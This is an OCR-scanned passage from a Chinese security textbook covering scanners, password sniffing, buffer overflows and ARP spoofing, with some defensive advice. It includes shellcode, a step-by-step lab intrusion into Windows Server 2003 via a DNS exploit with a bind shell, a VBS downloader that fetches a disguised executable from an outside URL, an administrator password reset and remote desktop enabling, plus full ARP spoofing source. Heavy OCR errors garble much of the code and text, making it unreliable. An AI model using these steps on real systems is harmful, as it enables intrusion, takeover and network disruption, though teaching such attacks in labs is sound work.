成 威胁 的 漏洞 或 配置 错误 。 由 于 主机 扫描 器 实际 上 是 运行 于 目标 主机 上 的 进程 ,因此 具有 
以 下 特点 。 

a. 为 了 运行 某 些 程序 ,检测 缓冲 区 溢出 攻击 ,要求 扫 描 器 可 以 在 系统 上 任意 创建 进程 。 

b. 可 以 检查 到 安全 补丁 一 级 ,以 确保 系统 安装 了 最 新 的 安全 补丁 。 

c. 可 以 查看 本 地 系统 配置 文件 ,检查 系统 的 配置 错误 。 

除非 能 攻 入 系统 并 取得 超级 用 户 ( 管 理 员 ) 权 限 ,或 者 主机 本 身 已 赋予 网 络 扫描 器 的 检 
查 权限 ,否则 网 络 扫描 器 很 难 实 现 以 上 功能 ,所 以 主机 扫描 器 可 以 检查 出 许多 网 络 扫描 器 检 
查 不 出 的 问题 。 

© 网 络 扫 描 器 。 网 络 扫描 器 又 称 为 远程 扫描 器 ,通过 网 络 远程 探测 目标 节点 ,检查 安 
全 漏洞 。 与 主机 扫描 器 的 扫描 方法 不 同 ,网 络 扫 描 器 通过 执行 一 整套 综合 的 扫描 方法 集 ,发 
送 精心 构造 的 数据 包 来 检测 目标 系统 是 否 存在 安全 隐患 。 


5. 网 络 监听 及 其 原理 


(1) 网 络 监听 获得 邮箱 的 用 户 名 和 密码 

在 Windows XP SP3 上 运行 Analyzer 3. 0a12 进行 测试 。 先 运行 Analyzer 3. 0312, Œ 
使 用 Outlook Express 或 者 Foxmail 收发 邮件 ,然后 分 析 Analyzer 抓获 的 数据 包 , 如 图 5-12 
和 图 5-13 所 示 ,可 以 看 到 邮箱 的 用 户 名 和 密码 (被 隐藏 ) 。 


BS 本 实验 虽然 是 在 同一 台 计 算 机 上 进行 的 ,但 是 不 影响 网 络 监听 的 实质 。 在 
此 主要 介绍 网 络 监听 软件 的 使 用 以 及 对 截获 数据 包 的 分 析 。 


(2) 网 络 监听 原理 

网 络 监听 是 指 获 取 在 网 络 上 传输 的 信息 。 网 络 监听 只 是 被 动 窃听 信息 ,并 不 直接 攻击 
目标 。 但 是 ,在 以 太 网 中 ,用 户 账号 和 密码 是 以 明文 形式 传输 的 ,因此 黑客 可 以 通过 网 络 监 
听 来 寻找 防护 薄弱 的 主机 ,先入 侵 薄弱 主机 ,然后 以 此 为 跳板 攻击 同 网 段 的 服务 器 。 

以 太 网 的 工作 方式 是 将 数据 包 发 送 到 同一 网 段 (共享 式 网 络 ) 的 所 有 主机 ,在 数据 包 首 
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图 5-13 网 络 监听 邮箱 密码 


部 包含 应 该 接收 该 数据 包 的 主机 的 MAC 地 址 ,只 有 与 数据 包 中 的 目的 MAC 地 址 一 致 的 
那 台 主机 接收 数据 包 , 但 是 当 一 台 主 机 的 网 卡 工作 在 监听 模式 (或 混杂 模式 ) ,不 管 数 据 包 中 
的 目的 MAC 地址 是 什么 ,主机 都 将 接收 。 

但 是 ,在 交换 式 网 络 环境 中 ,进行 网 络 监听 比较 困难 ,不 过 可 以 通过 arp 欺骗 的 方法 截 
获 数据 包 进 而 进行 分 析 。 

(3) 网 络 监听 的 检测 

由 于 运行 网 络 监 听 软 件 的 主机 只 是 被 动 地 接收 在 局 域 网 上 传输 的 数据 包 , 并 不 主动 与 
其 他 主机 交换 信息 ,也 不 修改 在 网 上 传输 的 数据 包 , 因 此 发 现 是 否 存在 网 络 监听 是 比较 困难 
的 。 不 过 ,可 以 使 用 如 下 方法 来 检测 是 否 存在 网 络 监 听 。 

如 果 怀 疑 某 台 计算 机 (192. 168. 0. 11) 正 在 进行 网 络 监听 ,可 以 用 正确 的 IP 地 址 
(192. 168. 0.11) 和 错误 的 MAC 地 址 (任意) 去 ping 对 方 (192. 168. 0. 11), 如 果 能 够 
ping 通 , 说 明 192. 168. 0. 11 正在 进行 网 络 监听 。 

(4) 网 络 监听 的 防范 

尽量 使 用 路 由 器 和 交换 器 组 建 网 络 . 不 要 使 用 集线器 。 另 外 ,要 时 常 关注 是 否 存 在 
arp 欺骗 攻击 。 
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5.4 缓冲 区 溢出 


缓冲 区 溢出 是 一 种 常见 的 攻击 手段 ,原因 在 于 缓冲 区 溢出 漏洞 非常 普通 ,并 且 易 于 实 
现 。 更 为 严重 的 是 ,缓冲 区 溢出 漏洞 占 了 远程 网 络 攻击 的 绝 大 多 数 ,成 为 远程 攻击 的 主要 手 
段 ,这 种 攻击 可 以 使 得 一 个 匿名 的 Internet 用 户 有 机 会 获得 一 台 主 机 的 部 分 或 全 部 的 控制 
权 , 所 以 它 代表 了 一 类 极其 严重 的 安全 威胁 。 


5.4.1 实例 : 缓冲 区 溢出 及 其 原理 


1. 缓冲 区 溢出 实例 一 


实验 环境 : Linux 操作 系统 。 

第 1 步 : 编写 源 程序 。 编 写 C 语言 源 程序 .如 图 5-14 所 
IR EDS buffer flow. c 文件 。 L#include <stdio.h> 

第 2 步 : 编译 源 程序 。 如 图 5-15 所 示 , 执行 #gcc | 2 
buffer flow. c -o buffer. flow. o 命令 ,编译 源 程 序 。 1 iple 

$$ 3 3p. 执行 程序 。 如 图 5-15 所 示 , 执 行 #. / buffer | B rato Muir + 18k 
flow. o 命令 ,输出 结果 99999。 通 过 分 析 主 函数 的 流程 ,应 该 | 8 
输出 1, 可 是 为 什么 输出 99999 呢 ? 原因 在 于 funetion() 函 数 。 aoi manot 

1 


D buffer flowc x 


void function(int a, int b, int c) { 
char buffer[]; 


int x; 
2. buffer flow 的 分 析 ü en 23) 
14 xsi; 
下 面 对 buffer. flow. o 程序 在 内 存 中 的 分 布 情况 以 及 执 I5 print saina; 
行 流程 进行 分 析 。 TA 


一 个 程序 在 内 存 中 通常 分 为 程序 段 ,数据 段 . 堆 和 栈 。 M : 
CD 程序 段 : 存放 着 程序 的 机 器 码 和 只 读数 据 。 PUTA keee ee OCA 
(2) 数据 段 : 存放 的 是 程序 中 的 静态 数据 和 全 局 变量 。 

(3) 堆 和 栈 : 存放 动态 数据 及 局 部 变量 。 


XXE) SHE) EEV SEO HEO WHD 
[root@localhost buffer flow]# gcc buffer_flow.c -o buffer_flow.o | 


[root@localhost buffer flow]# ./buffer flow.o 
99999 
[rootalocalhost buffer flow]# B 


图 5-15 编译 源 程 序 


是 用 户 空间 ,后 1GB(0xc000 0000—0xffff ffff) 是 内 核 空 间 .它们 的 位 置 如 图 5-16 所 示 。 

栈 是 一 块 保存 数据 的 连续 内 存 , 一 个 名 为 栈 指针 (SP, 指 向 栈 顶 部 ) 的 寄存 器 指向 栈 
的 顶部 , 栈 的 底部 在 一 个 固定 的 地 址 。 除 了 SP 之 外 ,为 了 使 用 方便 ,还 有 指向 帧 内 固定 
地 址 的 指针 称 为 帧 指针 CFP) 。 从 理论 上 说 .局 部 变量 可 以 用 SP 加 偏 移 量 来 引用 。 栈 由 
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逻辑 栈 帧 组 成 ,一 个 函数 对 应 一 个 栈 帧 , 当 调 用 函数 时 逻辑 栈 帧 被 压 入 栈 中 , 栈 帧 包括 函 
数 的 局 部 变量 (如 果 函 数 有 局 部 变量 ) .返回 地 址 .EBP 和 被 调 函 数 的 形 参 。 程 序 执行 结 
束 后 ,局 部 变量 的 内 容 将 会 丢失 ,但 是 不 会 被 清除 。 当 函数 返回 时 人 逻辑 栈 帧 被 从 栈 中 弹 
出 ,然后 弹出 EBP, 恢 复 栈 到 调用 函数 时 的 地 址 ,最 后 弹出 返回 地 址 到 EIP 从 而 继续 运行 


程序 。 
调用 函数 function(1,2,3) 的 过 程 如 图 5-17 所 示 。 
Oxffir ffir 
内 核 
地 址 空间 
Oxc000 0000 ( 栈 底 ) 高 地 址 —' 
9 9999 T 
mag omm 
命令 行 参数 | 9999 1" sfp 
栈 I 一 X 
上 ---- mE 1 3 
Jb 1 一 c 
I 2 一 b 
有 和 1 mainO Fi 
e mmap l p re 
内 存 映 射 区 | € 
1 执行 第 7 行 |A 
‘Pp -— ! 后 return2 第 i sfp 
下 real 1 单元 内 的 地 址 | 6 E 区 
Hn 指向 15 行 “| 行 Buffer[4-7] [ion eji 
数据 段 (CURE 上 Le Buffer[0-3] 
[RER 。 |oogo4 000 T 
0x0000 0000 9e print %d/n", x); 栈 项 指针 
图 5-16 ”虚拟 地 址 空间 图 5-17 调用 函数 function(1,2,3) 的 过 程 


首先 把 参数 床 人 栈 。 在 C 语言 中 参数 的 压 栈 顺序 是 反 向 的 ,以 从 后 往 前 的 顺序 将 
functionO 函数 的 3 个 参数 3.2、1 压 入 栈 中 。 

然后 保存 指令 寄存 器 (IP) 中 的 内 容 作 为 返回 地 址 (return2) 压 入 栈 中 ;第 3 个 放 入 栈 的 
是 基 址 寄存 器 EBP( 即 sfp) 。 

接着 把 当前 的 栈 指针 (CSP) 复 制 到 EBP, 作为 新 栈 帧 的 基地 址 (sfp, 栈 帧 指针 ) 。 

最 后 把 SP 减 去 适当 的 数值 ,将 局 部 变量 (buffer 和 ret) 压 入 栈 中 。 

执行 第 6 行 语 句 ret — (int * )(bufferl 十 16); 后 ,指针 ret 指向 return2 所 指 的 存储 单 
元 ,执行 第 7 行 语 句 (* ret) 十 ==7; 后 ,调用 函数 function() 后 的 返回 地 址 (return2 所 指 的 存 
储 单元 ) 指 向 了 第 15 行 ,第 14 行 被 隔 过 去 了 ,因此 ,该 程序 的 输出 结果 是 99999 。 


3. 缓冲 区 溢出 实例 二 


实验 环境 : Linux 操作 系统 。 

第 1 步 : 编写 源 程序 。 编 写 C 语言 源 程序 ,如 图 5-18 所 示 , 保 存 为 buffer_flow_2.c 
文件 。 

第 2 步 : 编译 源 程序 。 如 图 5-19 所 示 ,执行 # gcc buffer flow 2. c -o buffer flow 2.0 
命令 ,编译 源 程序 。 

第 3 步 : 执行 程序 。 如 图 5-19 所 示 , 执 行 #. /buffer_flow_2. o 命令 ,输出 结果 sh-3.2#， 
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AHD SHE) SEV ARO IAD WAD) fem 


D buferfow2c X. 
1#include <stdio.h> 
2#include <string.h> 
3 
4 char shellcode[] = 
5 “\xeb\xlf\x5Se\x89\x76\x08\x31\xcO\x88\x46\x07\x89\x46\x0c\xbD\xOb” 
6 “\x89Vd3\Wx8d\x4e\x08\x8d\x5S6\xOc\xcd\x80\x31\xdb\x89\xd8\x40\xcd” 
7 “"\x80\xe8\xdc\xff\xif\xff/bin/sh"”; 


8 
9 char large_string[128]; 
10 
11int main0 ( 
12 char buffer[4O]; 
13 inti 
14 long "long. ptr = (long *) large string; 
15 
16 for(i=0;i< 32,i++) 
17 *(long. ptr + i) = (long) buffer; 
18 
19 for (i = 0; i < strlen( shellcode ); i++) 
20 large string[i] = shellcode[i]; 
21 


strcpy( buffer, large string); 
return 0; 


$24, 512 插入 


[85-18 buffer_flow_2. c 文件 


文件 (E) MHO KEV HO FAD WOOD 
[rootelocalhost buffer flow]# gcc buffer_flow_2.c -o buffer_flow_2.0 |- 


lhost buffer flow]# ./buffer flow 2.0 


[rootetoca 


[rootelocalhost buffer flowl# B 


图 5-19 编译 源 程序 


读者 结合 图 5-20 对 buffer. flow. o 程序 在 内 存 中 的 分 布 情况 以 及 执行 流程 进行 分 析 。 
5.4.2 实例 : 缓冲 区 溢出 攻击 及 其 防范 


1. 实验 环境 


实验 环境 如 图 5-21 所 示 。 

AB (192.168. 85. 10 : 对 192. 168. 85. 128 进行 缓冲 区 溢出 攻击 。 

被 入 侵 者 (192. 168. 85. 128) : 是 开启 DNS 服务 的 所 有 版 本 的 Windows 2000 Server 或 
Windows Server 2003 SP1 ,在 本 次 测试 中 使 用 Windows Server 2003 SP1., 


2. 缓冲 区 溢出 攻击 过 程 


第 1 步 : 入 侵 者 下 载 并 且 执 行 dns. exe 命令 。 到 网 上 下 载 dns. exe 工具 ,可 以 通 杀 
Windows 2000 Server, Windows Server 2003 SP1 系统 ,将 其 复制 到 C:\Documents and 
Settings\ Administrator, Æ DOS 窗口 执行 dns. exe 命令 .如 图 5-22 所 示 。 
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Bufier[0] 地 址 


» — ( 栈 底 ) 高 地 址 
Buffer[0] 地 址 T 
I 
sfp | 
Buffer[36-39] 1 
I 
a main() Rhi H 
执行 第 22 行 后 , 将 Buffer[0-3] | 
large string[] 的 内 N i | 
开始 的 128B 存 储 [sp] 栈 项 指针 | 
间 中 ， 此 时 主 函 数 | 
的 返回 地 址 (return long ptr 1 
1 单元 内 的 地 址 ) 指 n i 
向 Buffer[0] , 即 she it 
lcode 代 码 ， 当 从 || m 低地 址 
1 返回 ， 就 开 行 
始 执行 溢出 代码 ——I€ 
Buffer[0] 地 址 
large string[124-127] 
Buffer[0] 地 址 
large_string[] 前 面部 分 是 
she 11code] 的 内 容 ， 后 面部 分 存放 的 是 Buffer[0] 地 址 
H large string[0-4] 
图 5-20 程序 执行 流程 
IIH CAUTION- Anti-dep version 
es> port:1189 addr:B.0.0.8 
192.168.85.128 192.168.85.1 
Windows Server Windows XP 
2003 SP1 入 侵 者 
图 5-21 实验 环境 图 5-22 执行 dns. exe 命令 


第 2 步 : 寻找 漏洞 。 执 行 dns. exe -s 192. 168. 85. 128 命令 ,对 主机 进行 扫描 ,如 图 5-23 
所 示 ,显示 出 被 入 侵 主 机 (192. 168. 85. 128) 开 放 的 端口 以 及 操作 系统 ,最 主要 的 是 显示 
“1047 ;Vulnerability”, 意 思 就 是 1047 端口 存在 漏洞 。 


m 192 
Ungu 6 RC , CAUTION- Anti 
bind shell payload selected 7 bytes? port:1180 addr:8.8.0.8 


1847 :Uulnerability 


寻找 漏洞 
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第 3 步 : 实施 溢出 。 如 图 5-24 所 示 ,执行 dns. exe -t 2003chs 192. 168. 85.128 1047 f 
令 , 其 中 -t 2003chs 的 意思 是 操作 系统 的 型 号 ,-t 2003chs 即 简体 中 文 版 的 Windows Server 
2003 系统 ,如 果 是 Windows Server 2000 的 系统 就 使 用 -2000all 参数 ,192. 168. 85. 128 就 是 
目标 IP 地 址 ,1047 就 是 刚才 扫描 出 存在 漏洞 的 端口 。 


128 1947 


图 5-24 实施 溢出 
出 现 Attack sent,check port 1100 字样 ,说明 已 经 打开 了 目标 地 址 的 1100 端口 。 
第 4 步 : 成 功 人 侵 。 如 图 5-25 所 示 ,执行 telnet 192. 168. 85. 128 1100 命令 ,结果 如 
图 5-26 所 示 ,现在 已 经 成 功 的 入侵 了 对 方 的 计算 机 ,并 且 得 到 了 管理 员 的 权限 。 


WINDOWS 


1100 


执行 telnet 192. 168. 85. 128 1100 命令 图 5-26 成 功 信 侵 


: 如 图 5-27 Bros ,在 已 经 成 功 入 侵 的 计算 机 上 执行 简单 的 操作 。 


[C= WWINDOVS Ss y 
ea 


图 5-27 在 已 成 功 和 人 侵 的 计算 机 上 执行 简单 的 操作 


下 面 的 第 6 一 11 步 是 介绍 在 被 入侵 计算 机 中 开 8686 端口 (远程 桌面 ) 的 方法 。 
第 6 步 : 创建 用 来 下 载 的 VBS 脚本 tony. vbs。 在 被 入 侵 计算 机 的 命令 行 里 输入 : 
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C:\> echo with wscript:if .arguments.count^« 2 then .quit:end if» tony.vbs 

C:\> echo set aso- .createdbject ("adodb. stream") :set web- createcbject ("microsoft .xmlhttp")>> tony.vbs 

C:\> echo web.apen "get", .arguments (0), 0:web.send:if web.status^» 200 then .echo 

"Error:"* web.status:.quit» > tony.vbs 

C: V» edo aso.type- 1:as0.gpen:zaso.write web.responsebody:aso.savetofile .argments (1) , 

2:end with>> tony.vbs 

上 面 的 命令 创建 一 个 用 来 下 载 的 VBS 脚本 tony. vbs。 

第 7 步 : 在 入侵 者 的 计算 机 上 上 传 wrsky. exe。 把 开 3389 端口 的 工具 (wrsky. exe, nf 
以 到 网 站 下 载 ) 上 传 到 自己 的 个 人 空间 。 


BS 由 于 提供 个 人 空间 的 网 站 都 对 上 传 文件 的 类 型 进行 了 限制 ,允许 的 文件 类 
型 及 大 小 见 表 5-10。 可 知 ,不 允许 上 传 exe 文件 ,因此 上 传 之 前 对 文件 的 扩展 名 进行 修 
改 , 比 如 wrsky. exe 修改 为 wrsky. rar。 


表 5-10 个 人 空间 允许 的 文件 类 型 及 大 小 


文件 名 称 扩展 名 文件 限制 /KB 文件 名 称 扩展 名 文件 限制 /KB 
GIF 图 片 .GIF 1024 PDF 文件 . PDF 5120 
JPEG 图 片 .JPG 1024 CHM 文件 .CHM 5120 
PNG 图 片 . PNG 1024 tar 压缩 文 件 .TAR 5120 
FLASH 动画 .SWF 1024 gz 压缩 文件 .GZ 5120 
ZIP 压缩 文件 ZIP 5120 bz2 压缩 文件 .BZ2 5120 
RAR 压缩 文件 .RAR 5120 RPM 文件 .RPM 5120 


第 8 步 : 在 被 人 侵 计算 机 上 下 载 wrsky. exe。 如 图 5-28 所 示 ,在 被 入 侵 计算 机 的 命令 行 
里 输入 : cscript tony. vbs http://blogimg. chinaunix. net/blog/upfile2/080313214807. rar 
ciwrsky. exe 命令 ,其 中 http://blogimg. chinaunix. net/blog/upfile2/080313214807. rar 为 
将 wrsky. rar 上 传 到 个 人 空间 后 的 URL。 这 条 命令 将 080313214807. rar 下 载 并 且 重新 命 
名 为 wrsky. exe。 

第 9 步 : 在 被 人 侵 计算 机 执行 wrsky. exe 命令 。 如 图 5-29 所 示 ,在 入 侵 计算 机 的 命令 
行 执行 wrsky. exe 命令 ,获得 帮助 信息 。 

88 10 步 : 重新 设置 被 人 侵 计 算 机 的 管理 员 密 码 。 如 图 5-30 Bros ,在 人 侵 计 算 机 的 命令 
行 执行 net user administrator 123456 命令 ,对 管理 员 账 号 重新 设置 密码 为 123456 ,为 了 下 
面 能 够 以 管理 员 身 份 远程 桌面 登录 。 

第 11 步 : 打开 被 入 侵 计 算 机 的 远程 桌面 服务 。 如 图 5-31 所 示 ,在 被 和 人 侵 计算 机 的 命令 
行 执行 wrsky. exe -x 8686 命令 ,打开 对 方 的 远程 桌面 服务 ,并 且 使 用 8686 端口 ,再 输入 
wrsky. exe - 命令。 

第 12 步 : 远程 桌面 连接 被 人 侵 计算 机 。 在 本 地 计算 机 ,选择 [开始 了 民运 行 】 命 令 ,在 
弹出 的 对 话 框 中 输入 mstsc(MS Terminal Server Client) JA ,弹出 如 图 5-32 所 示 的 【远程 桌 
面 连接 对 话 框 ,输入 192. 168. 85. 128 :8686 , 单 击 【连接 按钮 ,输入 管理 员 账 号 和 密码 
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~ Telnet 192.168.85.128 


>cscript tony.vbs 


yescript tony.vbs htt 


Micro: 
rosoft Corporation 


有 标签 


列 号 是 A86D-C2BA 


32 


323 


/bloging.chinaunix.net/blog/upf ile2/080313214807. 


ft 《R》 Windous Script Host Version 5.6 
1996 


RUTOEXEC.BAT 
CONFIG.SYS 

DATA 

Docunents and Settings 
Inetpub 

» 

Progran Files 

tony.vbs 

WINDOW 


wppu 
755,445 vr 


6,103,437,312 


开 3389 


下 载 wrsky. exe 


ct Telnet 192.168. 85.128 


NET USER GUEST 您 的 密码 Å 
NET USER GUEST /RCTIUE:NO $2473 


GUEST 账号 


>net user 
成 


adninistrator 


HMHO: |192. 166. 65. 128:8686 Y 


CE CG [CR ] (GR »] 
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2 192. 168. 85. 128:8686 一 远程 桌面 


banse] 


Fr 
- 


|zss||a € gm | 
< 


图 5-33 ”远程 桌面 连接 被 入 侵 计算 机 

(Administrator 和 123456) ,登录 成 功 ,如 图 5-33 所 示 。 

3. 缓冲 区 溢出 攻击 的 防范 措施 

(1) 关闭 不 需要 的 特权 程序 。 

(2) 及 时 给 系统 和 服务 程序 漏洞 打 补 丁 。 

(3) 强制 写 正确 的 代码 。 

(4) 通过 操作 系统 使 得 缓冲 区 不 可 执行 ,从 而 阻止 攻击 者 植 入 攻击 代码 。 

(5) 利用 编译 器 的 边界 检查 来 实现 对 缓冲 区 的 保护 ,这 个 方法 使 得 缓冲 区 溢出 不 可 能 
出 现 , 从 而 完全 消除 了 缓冲 区 溢出 的 威胁 ,但 是 代价 比较 大 。 

(6) 在 程序 指针 失效 前 进行 完整 性 检查 。 

(7) 改进 系统 内 部 安全 机 制 。 


5.5 ARP # Jf 


在 局 域 网 中 ,通信 前 必须 通过 ARP 协议 (地 址 解析 协议 : 将 域名 翻译 成 对 应 的 32 位 IP 
地 址 的 协议 ) 来 完成 IP 地 址 转换 为 第 二 层 物理 地 址 ( 即 MAC 地 址 ) 。ARP 协议 对 网 络 安 
全 具有 重要 的 意义 。ARP 欺骗 攻击 是 通过 伪造 IP 地 址 和 MAC 地 址 实现 ARP 欺骗 的 攻 
击 技术 。 


5.5.1 实例 : ARP 欺骗 


1. 实验 环境 
实验 环境 如 图 5-34 所 示 。 欺 骗 者 (192. 168. 1. 100 ,被 欺骗 者 (192. 168. 1. 20) 。 


e 
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2. ARP 欺骗 过 程 


第 工 步 : 如 果 被 欺骗 者 可 以 ping 通 欺 骗 者 。 被 欺骗 者 (192. 168. 1. 200 TA £T ping 192. 
168.1.10 -n 1 命令 ,可 以 ping 通 。 然 后 执行 ARP -a 命令 查看 ARP 缓存 ,得 知 欺骗 者 
(192.168.1.10) 的 MAC 地 址 为 00:30:18:91:20:54, 如 图 5-35 所 示 。 


ft Corp. 
[C:\Documents and Settings Widninistrator?ping 19 
[Pinging 192.168.1.10 with 32 bytes of dat 


Reply fron 192.168.1.10: byt time<lms 


192.168.1.10 192.168.1.20 
Internet 
Linux Windows XP 
欺骗 者 被 欺骗 者 
图 5-34 实验 环境 


第 2 步 : 进行 ARP 欺骗 。 如 图 5-36 所 示 , 欺 骗 者 (192. 168. 1. 10) 先 执行 ping 192. 
168. 1. 20 -c 1 命令 ,可 以 ping 通 。 然 后 执行 ARP -a 命令 查看 ARP 缓存 ,得 知 被 欺骗 者 
(192. 168. 1. 20) 的 MAC 地 址 为 00:C0:9F:97:E3:F9。 再 执行 ifconfig eth0 命令 ,查看 本 
网 卡 的 MAC 地 址 ,然后 执行 . /send arp. o 192. 168. 1. 10 00:0c:29:d5:91:11 192. 168. 1. 
20 00:C0:9F:97: '9 1 命令 ,对 192.168. 1. 20 进行 ARP 其 3 去 为 : 


其 中 ,send_arp.o 语 


send arp src ip addr src hw addr targ ip addr tar hw addr number 


XD SMO REC) MAD SSD won 
[rootelocalhost send arp] ping 19: 
PING 192.168.1.20 (192.16i 
64 bytes from 192.168.1.: 


一 192.168.1.20 ping statistics —- 

1 packets transmitted, 1 received, 0% packet loss, time Oms 
rtt min/avg/max/mdev = 1.188/1.188/1.188/0.000 ms 
[rootelocalhost send arp]& ary 


eth0 


overruns:0 frame:0 
errors:0 dropped:0 overruns:0 carrier:0 
txqueuel 
RX bytes:15918 (15.5 TX bytes: 
Interrupt:l0 Base address:0x2000 


[rootelocalhost send arp]é gcc send arp.c -o send arp.o 
[rootelocalhost send arb]H 2 S Ó0:0« :29:45:91 1192 168.1 
¿20 00:C0:9F:97: 
rootelocalhost send_arb]# 国 


27 (8.1 KiB) 


图 5-36 进行 ARP 欺骗 


190 


ES 提示 被 欺骗 者 (192.168. 1. 20)MAC 地 址 的 获得 可 以 先 执行 ping 192. 168. 1. 10 


命令 ,然后 执行 ARP -a 命令 查看 ARP 缓存 。 


第 3 步 : 如 果 被 其 


MAC 地 址 已 变 。 


如 果 本 网 络 的 网 关 是 


执行 命 
C0;9F 


[C:Documents and Se 


图 5-37 


4. /send arp. o 192. 168. 1. 


:97,E3:F9 1 


A 
áp. 


骗 者 不 可 以 ping 通 
1.10 -n 1 命令 ,不 可 以 ping 通 , 再 执行 arp -a 


192. 168. 1. 


ttings Adninistrator>ping 192.1 


es of data: 
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通 欺 骗 者 。 如 图 5-37 所 示 , 先 执行 ping 
命令 查看 ARP 缓存 ,可 知 192. 168. 1. 10 的 


68-1-19 -n 1 


假 MAC 地 址 


Type 
dynanic 


被 欺骗 者 不 可 以 ping 通 欺骗 者 


1, 那 么 
1 


对 192. 168. 1. 20 进行 ARP 欺骗。 


可 以 每 分 钟 执行 


192. 168. 1. 20 得 不 到 正确 的 到 网 关 的 ARP 映射 表 项 ,就 访问 不 了 互联 网 了 。 


3. 


源 程序 


头 文件 “send_arp. h”: 


Qo CO - 0 Oo QM PP 


10 
11 
12 
13 
14 
15 
16 
17 
18 
19 


# include< stdlib.h> 

# include< netdb.h> 

# include< sys/socket.h> 

# include< sys/types.h» 

# include< stdio.h> 

# include< ermo.h> 

# include< sys/ioctl.h» 
#include< net/if.h> 

# include< signal.h» 

4 include netinet/ip.h> 

# include netinet/in.h» 

# includec string.h> 

# include< arpa/inet .h> 

# include< netinet/ip iamp.h> 
# include linux/if ether.h> 


# define ETH HW ADIR IFN 6 
# define IP ADR IFN 4 
# define ARP FRAME TYPE 0x0806 


192. 168. 


20 00; 
-次 该 命令 


想 让 192. 168. 1. 20 不 能 访问 互联 网 ,就 可 以 
《X 192. 168. 1. 


191 
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RBBRBS 


" 
$8 


5580858 UUt Uss5g9u 


56585685 


47 


# efine ETHER HW TYPE 1 
# define IP PROTO TYPE Ox0800 

# define OP ARP REQUEST 2 

s define OP ARP QUEST 1 

# define DEFAULT DEVICE "ethO" 

char usage []- ("send arp: sends out custam ARP packet. Wn" 


"usage: send arp src ip addr src hw addr targ ip addr tar hw addr number"); 


struct arp packet 


t 


F 


u char targ hw addr[ETH HW ADR IEN]; 
u char src hw addr[ETH HW ADIR IEN]; 
u short frame type; 

u short hw type; 

u short prot type; 

u char hw addr size; 

u char prot addr size; 

u short op; 

u char sndr hw addr[ETH HW ADCR IFN]; 
u char sndr ip addr[IP RDDR IEN]; 

u char rcpt hw addr[ETH HW ADDR IEN]; 
u char rœt ip addr[IP RDDR IEN]; 
u_char pacding[18]; 


voiddie (char * ); 
void get ip addr (struct in addr * , char * ); 
void get hw adir (char * , char * ); 


Wi XC f." send arp. c": 


1 f£include "send arp.h" 


int min (int argc, char * argv[]) 


{ 


struct in addr src in addr, targ in addr; 
struct arp packet pkt; 
struct sockaddr sa; 
int sock; 
int j,nnber; 
if(amgc ! =6) 
die (usage) ; 


sock-socket(AF INET, SOCK PACKET, htons(ETH P RARP)); 
if(sock« 0) 
{ 

perror ("socket") ; 

exit(); 


nunber- atoi (argv[5]) ; 


47 
48 
49 
50 
51 
52 
53 
54 
55 
56 
57 
58 
59 
60 
6l 
e 
63 
64 
65 
66 
67 
68 
69 


70 void get hw addr (char * buf, char * str) 


pii 
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pkt.frame type= htons (ARP FRAME TYPE); 
pkt.hw type-htons(ETHER HW TYFE); 
pkt.prot type-htons(IP PFOTO TYPE); 
pkt.hw addr size- ETH HW ADIR IEN; 
pkt.prot addr size- IP ADIR IFN; 
Pkt.op= htons (OP ARP QUEST); 
get hw addr(pkt.targ hw adir, argv[4]); 
get hw acdr(pkt.rcpt hw adir, argv[4]); 
get hw addr (pkt.src hw adir, argv[2]); 
get hw adidr(pkt.sndr hw adir, argv[2]); 
get ip adir(ssrc in adir, argv[1]); 
get ip adir(starg in addr, argv[3]); 
memcpy(pkt.sndr ip addr, &src in addr, IP ADIR IFN); 
memcpy(pkt.rcpt ip addr, &targ in addr, IP AOR IEN); 
bzero (pkt .pacding, 18) ; 
strcpy (sa.sa data, DEFAULT DEVICE); 
for (j=0;j< number; * * ) 
i 

if (sendto (sock, gpkt, sizeof (pkt) ,0, &sa, sizeof (sa) )« 0) 

t 

perror ("sendto") ; 
exit(1); 


exit(0); 


void die (char * str) 


t 


fprintf (stderr, "$ s\n", str) ; 
exit); 


void get ip addr (struct in addr * in addr, char * str) 


t 


{ 


struct hostent * hostp; 
in adir-»s adir-inet addr (str); 
if(ün adir-»s adir--- 1) 
{ 
if ((hostp- gethostbyname (str))) 
boopy (hostp- »h addr, in addr, hostp- >h length); 
eise ( 
fprintf (stderr, "send arp: unknown host $ s\n", str); 
exit(1); 
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72 inti; 
73 char c, val; 
74 — for(i-0; i«ETH HW ANR IFN; i++) 


75 t 

76 if(!(c-tolower(* str++))) 

TI die("Invalid hardware address") ; 
78 if(sdigit (c)) 

79 val-c - '0'; 

80 else if(c»- 'a' && c«- '£') 

81 val-c- 'a™ 10; 

82 else 

83 die("Invalid hardware address") ; 
84 * buf- val« « 4; 

85 if(!(c-tolower(* str++))) 

86 die("Invalid hardware address"); 
87 if(isdigit (c)) 

88 val=c - '0'; 

89 else if (c= 'a' && c«- '£') 

90 val-c- 'a'* 10; 

91 else 

9? die("Invalid hardware address") ; 
93 * buf++ |- val; 

94 if(* str-- ':') 

95 strtt; 

96 ) 


9] ) 


5.5.2 ARP 欺骗 的 原理 与 防范 


1. ARP 欺骗 的 原理 


以 太 网 设备 (比如 网 卡 ) 都 有 自己 全 球 唯一 的 MAC 地 址 ,它们 是 以 MAC 地 址 来 传输 
以 太 网 数据 包 的 ,但 是 以 太 网 设备 却 识别 不 了 IP 数据 包 中 的 IP 地 址 ,所 以 要 在 以 太 网 中 进 
行 IP 通信 ,就 需要 一 个 协议 来 建立 IP 地址 与 MAC 地 址 的 对 应 关系 ,使 TP 数据 包 能 够 发 
送 到 一 个 确定 的 主机 上 。 这 种 功能 是 由 ARP(Address Resolution Protocol) 来 完成 的 。 

ARP 被 设计 成 用 来 实现 IP 地 址 到 MAC 地 址 的 映射 。ARP 使 用 一 个 被 称 为 ARP 高 
速 缓存 的 表 来 存储 这 种 映射 关系 .ARP 高 速 缓存 用 来 存储 临时 数据 (IP 地 址 与 MAC 地 址 
的 映射 关系 ) ,存储 在 ARP 高 速 缓存 中 的 数据 在 几 分 钟 没 被 使 用 ,就 会 被 自动 删除 。 

ARP 协议 不 管 是 否 发 送 了 ARP 请 求 .都 会 根据 收 到 的 任何 ARP 应 答 数 据 包 对 本 地 的 
ARP 高 速 缓存 进行 更 新 ,将 应 答 数据 包 中 的 IP 地 址 和 MAC 地 址 存储 在 ARP 高 速 缓存 
中 。 这 正 是 实现 ARP 欺骗 的 关键 。 可 以 通过 编程 的 方式 构建 ARP 应 答 数 据 包 , 然 后 发 送 
